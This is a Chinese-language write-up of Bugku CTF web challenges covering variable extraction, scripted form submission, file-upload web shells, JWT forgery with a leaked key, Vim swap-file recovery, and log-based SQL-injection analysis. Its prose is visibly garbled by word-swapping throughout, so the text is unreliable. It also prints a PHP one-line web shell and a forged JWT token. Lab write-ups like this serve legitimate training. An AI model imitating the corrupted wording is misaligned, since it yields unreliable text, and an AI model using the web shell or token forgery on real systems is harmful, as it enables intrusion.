bugku—Web_Writeup

bugku—Web_Writeup

Bugku_Web_Writeup

Writeup略显粗拙~~

部份Web题没有取得末了的flag~只是有了一个简朴的思绪~~

Web1:

如上,翻开题目答题网址后就会弹出一张图片,看图片就能够发明是一段PHP源码,经由过程对源码的剖析得出以下:

<?php
    header("Content-type:text/html;charset=utr-8");
    error_reporting(0);
    include 'flag.php';
    $b = 'ssAEDsssss';
    extract($_GET);
    // extract():将数组中的键名设置为变量名,键值为变量中参数
    if (isset($a)) { // isset():搜检变量是不是存在
        $c = trim(file_get_contents($b));
            // file_get_contents():将悉数文件读入一个字符串中
            // trim(): 函数可移除字符串两头的空缺字符或其他预定义字符,由于没有预定要删的字符,所以会删除悉数字符
                // 处置惩罚一个文本文件中的数据读入进一个字符串中,应用上述两个函数举行花样处置惩罚 
                // 连系 $c 变量末了取得的字符串就是一个空内容 ===> $c = ' '
        if ($a == $c) { // 在之前isset()揣摸是不是存在$a变量,从php源码中没有发明$a变量;故此在URL中能够组织一个变量a并空值
            echo $myFlag ; 
        } else {
            echo "No!";
        }
    }
?>

综合剖析:

PHP源码表达的flag显现是在经由过程 isset($a) 和 $a == $c 揣摸后echo显现myFlag变量(即flag)以及源码中解释申明。

我们须要的就是组织一个变量a给php源码,然则变量c在函数的团结下,变量C的内容是空的,因而我们组织一个URL而且a变量为空

http://123.206.31.85:10001/?a=

Web2:

该题三秒自动革新盘算题和答案,所以须要在三秒内盘算得出并填写准确的答案猎取flag

假如依据人类的速率是……不能够的,因而只得借用剧本自动化了!

import requests,re
url = 'http://123.206.31.85:10002/'
// Session():模仿登录操纵
s = requests.Session() // 建立一个Session对象:s
def getURL(url):
    con = s.get(url) // 发送请求,运用默认得登录属性
    res = con.text // 猎取页面text花样转换得字符串:res
    return res
def Calculation(text):
    result = eval(((re.findall(".*</p",text))[0])[0:-3]) // 正则挑选公式
    return result // 返回盘算公式的效果 result
def postRES():
    result =  Calculation(getURL(url)) //挪用函数返回网页页面内容再挪用
    payload = {'result':result}
    r = s.post(url,data=payload) // 模仿提交盘算效果给服务端
    return r
print (postRES().text) // 返回HTTP效果中的text数据

RUN后就能够取得我们想要的flag了!

*Web3:文件包括

依据提醒!得知网站许可我们上传一张图片!因而坚决上传一句话木马……

<?php eval($_POST[key]);?>

要领一:上传php文件

效果:失利!

结论:设置了文件范例检察

要领二:上传png文件,burp拦包改后缀.php

效果:失利!

结论:不在客户端举行,而是应用服务端举行文件范例检察

…………

Web4:全能登录

能够看出是类背景登录的页面,起首就是全能暗码走一遍……

然后异常好玩的是……flag就出来了!搞得我还准备用brup爆破弱暗码呢……

*Web5:SQL注入

http://47.95.208.167:10005/

SQLMap注入:参考

Web6:管理员体系

眨眼一看,没眉目,我看了他人的Writeup,都说HTML代码里有base64加密的password,然则谅解我“蠢”,没有看见base64码……

我依据“老”思绪,扔了几个字典跑了一下……(我用了六分钟跑出来了)

哦!对了……记得修正X-Forwarded-For 的value为当地地点^_^从另一个角度能够以为这是一道关于捏造IP的题目!

*Web7:

[发货体系]

web9:

页面返回以下一串字符:

put me a message bugku then you can get the flag 

意义就是让我们经由过程PUT体式格局提交“bugku”给服务端

因而我们抓包修正数据包内容:

修正请求体式格局为:PUT

增加请求的信息实体内容:bugku

点击:Go ===>

就会相应flag,然则返回的是看不懂的“乱码”

然则并非……经由过程Base64解码能够取得准确的flag码

web10*:JWT的风险

页面显现登录框,我们运用burp抓包并Request:

从返回的数据包看出提醒,从尾部的三个即是号揣摸是Base32编码,因而我们运用Base32解码为字符串

从解密的字符串能够以为是登录名和暗码,我们运用解码效果登录:

经由过程尝试从这段笔墨中发明,Vim崩溃而且网站有隐秘……

**Vim崩溃时文件会备份缓存,而且以*.swp文件花样存储;固然了,假如文件一般关闭会自动删除同名的swp花样文件。**

笔墨中说了,是在写这个网站的主页时崩溃的~

呦西!一会儿就看见了~那末我们就下载保留翻开“L3yx.php.swp”文件

swp文件下载后,应用vi -r [file]恢复手艺恢复文件

L3yx.php源码以下:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在线日记本</title>
<form action="" method="POST">
  <p>username: <input type="text" name="username" /></p>
  <p>password: <input type="password" name="password" /></p>
  <input type="submit" value="login" />
</form>
<!--hint:NNVTU23LGEZDG===-->
</html>
<?php
    error_reporting(0);
    require_once 'src/JWT.php';
    const KEY = 'L3yx----++++----';
    function loginkk()
    {
        $time = time();
        $token = [
          'iss'=>'L3yx',
          'iat'=>$time,
          'exp'=>$time+5,
          'account'=>'kk'
        ];
        $jwt = \Firebase\JWT\JWT::encode($token,KEY);//JWT认证体式格局
        setcookie("token",$jwt);
        header("location:user.php");
    }
    if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
    {
        if($_POST['username']=='kk' && $_POST['password']=='kk123')
        {
            loginkk();
        }
        else
        {
            echo "账号或暗码毛病";
        }
    }
?>

在源码中发明运用了 JWT要领举行认证,且源码中存在JWT的密钥”KEY = ‘L3yx—-++++—-

从数据包中发明token;我们应用解码东西举行:

JWT-token包括三部份:JWT头部、JWT负载、JWT署名

三部份之间运用 点 标记举行分开

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9  [JWT头部]
eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTcwMDExNTQ1LCJleHAiOjE1NzAwMTE1NTAsImFjY291bnQiOiJrayJ9  [JWT负载]
aWma416iRo9Y55rdk2LNtkyTulVs98ZrCqj0nBLMzH8  [JWT署名]

我们分别对三部份的编码体式格局举行解码:

JWT头部—Base64解码:

{"typ":"JWT","alg":"HS256"}

JWT负载—Base64解码:

{"iss":"L3yx","iat":1570011545,"exp":1570011550,"account":"kk"}

*经由过程头部的解码发明JWT署名运用的是HS256算法

经由过程对头部和负载两部份的base64解码效果举行HS256加密,能够得出JWT署名部份编码:

题意,提醒我们运用“L3yx”用户,因而我们修正JWT负载的用户名(也须要注意时候戳题目:exp):

{"iss":"L3yx","iat":1570011545,"exp":1570033550,"account":"L3yx"}

然后组织一个JWT-token:https://jwt.io/

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJMM3l4IiwiaWF0IjoxNTcwMDE0MDg0LCJleHAiOjE1NzAwNTU1ODksImFjY291bnQiOiJMM3l4In0.Nvl06ImN7gBuBB4oFwQcgsyzt7zarNhA1vGAXxYksNA

经由过程Burp—Repeater组织一个发送到user.php的请求

终究取得准确的flag!

*Web11:

翻开页面,只显现一行“We han’t anything!”,骗子说这里啥都没有~

然则注意以下抓包的源代码返回效果发明:

网页的title页面标题为“robots”,由此想起了“robots.txt”:

依据获知的效果接见“shell.php”

<form action="shell.php" method="get">
    substr(md5(<input type="text" name="password">), 0, 6) = 05862a<input type="submit">
</for

从源码和页面能够开端以为,是须要提交一个数字被md5函数处置惩罚后再被substr函数处置惩罚的效果与7fdaf4构成相称。

PHP substr()函数:

substr( string , start , length)

返回String字符串中从start最先,length长度的字符串

综上,就是对MD5举行截断比较,暴力处理!~

Web13:

诡异的框框,拦包看一看:

觉得太怪了,返回包中有Password字段信息,因而Base64解码:

…………

然则并不准确,因而将flag放入框中提交查询:

因而思前想后,有重复频频后发明:每一次都是差别的flag,所以我以为是请求在最快的时候内提交当前的flag才能够取得真正的flag~

import requests
import base64
url = 'http://123.206.31.85:10013/index.php'
r = requests.session()
r1 = r.post(url,data={'password':'flag'})
Password = r1.headers['password']
password = str(base64.b64decode(Password),'utf-8')[5:-1]
r2 = r.post(url,data={'password':password})
print(r2.text)

代码剖析:

​ 猎取相应包的password字段,提交到password表单中并提交。

Web14:

提醒:“据说备份了不少东西”

经由过程简朴的提醒,能够肯定网站存在源码泄漏的能够

运用GitHack举行探测并尝试恢复~

Web15:

提醒:Vim编辑器

依据页面和提醒能够肯定我们要找的flag不在index.php

不过,流程稳定,先抓包看一看

果真,一抓包就看见了猫腻~

将hint字段内容举行编码剖析(推想是十六进制)

MRWWY5DGM46T2

只需大写字母和数字:Base32解码

dmltfg==

两个即是号:Base64解码

Vim~

从终究的效果能够看出,Vim的备份文件标记“~”

连系页面提醒“来错了处所”,示意页面没错然则位置错了:

http://123.206.31.85:10015/index.php~

ps原页面的地点是1ndex.php留下了一个小小的坑哦!

<?php
    header('content-type:text/html;charset=utf-8');
    include './flag.php';
    error_reporting(0);
    if(empty($_GET['id'])){
        header('location:./1ndex.php');
    }else{
        $id = $_GET['id'];
        if (!is_numeric($id)) { //检测变量是不是为数字或数字字符串
            $id = intval($id); //猎取变量的整数值
            switch ($id) {
                case $id>=0:
                    echo "快出去吧,走错路了~~~<br>";
                    echo "这么简朴都不会么?";
                    break;
                case $id>=10:
                    exit($flag);
                    break;
                default:
                    echo "你走不到这一步的!";
                    break;
            }
        }
    }
?>

剖析源码发明,输出flag的前提:吸收一个值“id”,请求不是数字或数字字符串,但请求大于即是10

源码的逻辑异常清晰,只需提交的黑白数字的字符就能够显现flag了!

然则~这里有一个坑 ~~~ 巨坑!!!

在这个页面,无乱提交的是什么都是“Error”的~~~

由于它通知你了~不该来这个页面~细致看看URL~~

http://123.206.31.85:10015/1ndex.php

一和i傻傻分不清处:

我们要接见的必需是:index.php:

流量剖析:

数据包文件

翻开文件后,追踪TCP流就能够了~

日记审计:

log文件

请求从日记中找出黑客进击的陈迹~

一翻开文件~数据太巨大了~受不了呀~

疑似SQL注入进击的陈迹~

肯定存在SQL注入的陈迹~

我们统计每次注入的参数,取得flag~

import re
log = open ('sql_log.txt','r').read()
find = re.findall(r'3D(.*)--',log)
for i in find:
    print(chr(int(i)),end="")
Up Next:

Ansible经常使用模块基础操纵

Ansible经常使用模块基础操纵